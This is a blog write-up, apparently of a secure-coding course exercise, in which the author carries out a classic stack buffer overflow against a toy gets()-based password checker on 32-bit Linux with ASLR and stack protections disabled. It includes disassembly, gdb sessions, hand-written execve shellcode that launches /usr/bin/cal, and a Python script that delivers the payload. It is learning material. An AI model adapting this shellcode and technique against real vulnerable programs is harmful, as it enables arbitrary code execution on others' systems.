公司培訓課程Writing Secure Code的作業是自己實現一次棧溢出攻擊,花了一個周六時間算是完成了,同時也在這里記錄下:
當然現代編譯器和操作系統其實已經可以很好應對棧溢出這種攻擊了,我所做的實驗更多的是學習性質。
1. 實驗環境
a) 我是在Linux i686 32位環境下完成這次作業的,具體系統信息:Linux 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux
b) 編譯使用的GCC版本是gcc version 4.9.1 20140922 (Red Hat 4.9.1-10) (GCC)
c) 為了完成棧溢出的任務關閉了編譯和運行時的一些選項,主要有:
-
i. 關閉Linux地址隨機化(ASLR):echo 0 > /proc/sys/kernel/randomize_va_space
ii. 關閉棧保護: -fno-stack-protector
iii. 開啟棧可執行: -z execstack
2. 實驗過程
a) 反匯編二進制文件並進行觀察
Dump of assembler code for function IsPasswordOK:
0x0804848b <+0>: push %ebp
0x0804848c <+1>: mov %esp,%ebp
0x0804848e <+3>: sub $0x18,%esp
0x08048491 <+6>: sub $0xc,%esp
0x08048494 <+9>: lea -0x14(%ebp),%eax
0x08048497 <+12>: push %eax
0x08048498 <+13>: call 0x8048340 <gets@plt>
0x0804849d <+18>: add $0x10,%esp
0x080484a0 <+21>: sub $0x8,%esp
0x080484a3 <+24>: push $0x80485b4
0x080484a8 <+29>: lea -0x14(%ebp),%eax
0x080484ab <+32>: push %eax
0x080484ac <+33>: call 0x8048330 <strcmp@plt>
0x080484b1 <+38>: add $0x10,%esp
0x080484b4 <+41>: test %eax,%eax
0x080484b6 <+43>: sete %al
0x080484b9 <+46>: leave
0x080484ba <+47>: ret
End of assembler dump.
可以看到在IsPasswordOK函數里面先后執行了ebp壓棧,然后是用當前esp更新ebp,之后分配局部變量空間等操作。其stack的結構大致如下:
其中linux棧從上往下地址遞減,我們通過password數組溢出從而覆蓋高地址的eip對其操作進行控制。
b) Shellcode 編寫
由於最終我們需要執行外部程序實現攻擊,我們首先需要一段簡短的linux shellcode。
由於我的linux系統里沒有計算器(calculator)程序,我使用日歷(cal)程序作為替代。
Shellcode的構造過程參考:https://www.cnblogs.com/lsgxeva/p/10794331.html
我編寫了如下匯編代碼:
Section .text global _start _start: xor eax, eax ; push eax ; push 0x6c61632f ;字符串參數‘/usr/bin/cal’入棧 push 0x6e69622f push 0x7273752f mov ebx, esp; push eax mov edx, esp; push ebx mov ecx, esp; mov al, 11 int 0x80 ;系統調用
主要思路就是把相應的參數傳給寄存器或者壓棧,然后通過linux int80系統調用,通過execve函數啟動/usr/bin/cal程序。
寫好匯編代碼之后使用nasm編譯成二進制程序,然后通過shellcode提取程序提取出來即可,最后可用的shellcode為:
"\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
一共30個字節。
c) 觀察gdb調試程序isPasswordOK及其core dump文件
根據相關資料,gdb調試過程中的內存地址和實際運行中的並不一定相同。首先通過gdb調試獲得stack內存分配的規律:
從調試中我發現gdb中,password緩沖區開始的地址總是0xbffff164.
通過對IsPasswordOK函數stack空間分配過程的逐斷點觀察:
Dump of assembler code for function IsPasswordOK:
0x0804848b <+0>: push %ebp
0x0804848c <+1>: mov %esp,%ebp
0x0804848e <+3>: sub $0x18,%esp
0x08048491 <+6>: sub $0xc,%esp
0x08048494 <+9>: lea -0x14(%ebp),%eax
0x08048497 <+12>: push %eax
0x08048498 <+13>: call 0x8048340 <gets@plt>
0x0804849d <+18>: add $0x10,%esp
0x080484a0 <+21>: sub $0x8,%esp
0x080484a3 <+24>: push $0x80485b4
0x080484a8 <+29>: lea -0x14(%ebp),%eax
0x080484ab <+32>: push %eax
0x080484ac <+33>: call 0x8048330 <strcmp@plt>
0x080484b1 <+38>: add $0x10,%esp
0x080484b4 <+41>: test %eax,%eax
0x080484b6 <+43>: sete %al
0x080484b9 <+46>: leave
0x080484ba <+47>: ret
End of assembler dump.
(gdb) b *0x0804848c
Breakpoint 1 at 0x804848c: file isPasswordOK.c, line 4.
(gdb) b *0x0804848e
Breakpoint 2 at 0x804848e: file isPasswordOK.c, line 4.
(gdb) b *0x08048491
Breakpoint 3 at 0x8048491: file isPasswordOK.c, line 7.
(gdb) b *0x08048494
Breakpoint 4 at 0x8048494: file isPasswordOK.c, line 7.
(gdb) r
Starting program: /root/share/StackOverflow/isPasswordOK
Enter password:
Breakpoint 1, 0x0804848c in IsPasswordOK () at isPasswordOK.c:4
4 bool IsPasswordOK(void){
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686
(gdb) i r
eax 0x10 16
ecx 0x3db4e0 4044000
edx 0x3dc340 4047680
ebx 0x3daff4 4042740
esp 0xbffff178 0xbffff178
ebp 0xbffff198 0xbffff198
…
(gdb) c
Continuing.
Breakpoint 2, 0x0804848e in IsPasswordOK () at isPasswordOK.c:4
4 bool IsPasswordOK(void){
(gdb) i r esp
esp 0xbffff178 0xbffff178
(gdb) c
Continuing.
Breakpoint 3, IsPasswordOK () at isPasswordOK.c:7
7 gets(Password);
(gdb) i r esp
esp 0xbffff160 0xbffff160
可以發現stack中緩沖區從0xbffff160開始一直到0xbffff178,而上面說過password數組則從0xbffff164地址開始,0xbffff178再往上就是ebp和eip了。
d) 從core dump中觀察實際程序運行時的地址
首先打開linux的core dump size開關:ulimit -f unlimit.
在運行時多輸入一些字符使得程序崩潰產生core.***文件。
Gdb調試該文件,並定位到我們輸入的字符處(即password數組):
可以看到實際運行時password數組起始於0xbffff194。
相應的通過計算,運行時eip位於0xbffff194 + 20 + 4=0xbffff1ac。
我們需要填充24的字節,然后填充eip。而eip將指向shellcode的起始地址。
e) 輸入數據布局
Eip需要指向我們的shellcode,考慮到shellcode有30個字節長度,我選擇把shellcode直接放置在eip的后面,即eip+4 eip+34這個位置。
於是eip是處需要填入的地址即為0xbffff1ac + 4=0xbffff1b0.
輸入數據布局為:填充數據(24字節)+ eip(0xbffff1b0)+ shellcode(30字節)
f) 輸入與實踐
在實際輸入過程中,由於很多二進制字符不支持在shell界面直接輸入,經過文本編輯器打開后經常會變成塊狀亂碼,無法輸入或者輸入之后與原先值不一致。
經過一番摸索,我選擇使用python的subprocess模塊模擬輸入,這樣就能准確無誤地向程序動態輸入二進制數據,具體代碼如下:
import subprocess shellcode='\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' fillbytes= 'a'* 24 ret_eip = '\xb0\xf1\xff\xbf' fill = fillbytes+ ret_eip + shellcode obj = subprocess.Popen(["./isPasswordOK"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) obj.stdin.write(fill) out,err = obj.communicate() print(out)
輸入數據由3部分拼接而成, 最后的輸出結果如下:
至此整個攻擊過程完成了,cal程序被成功調用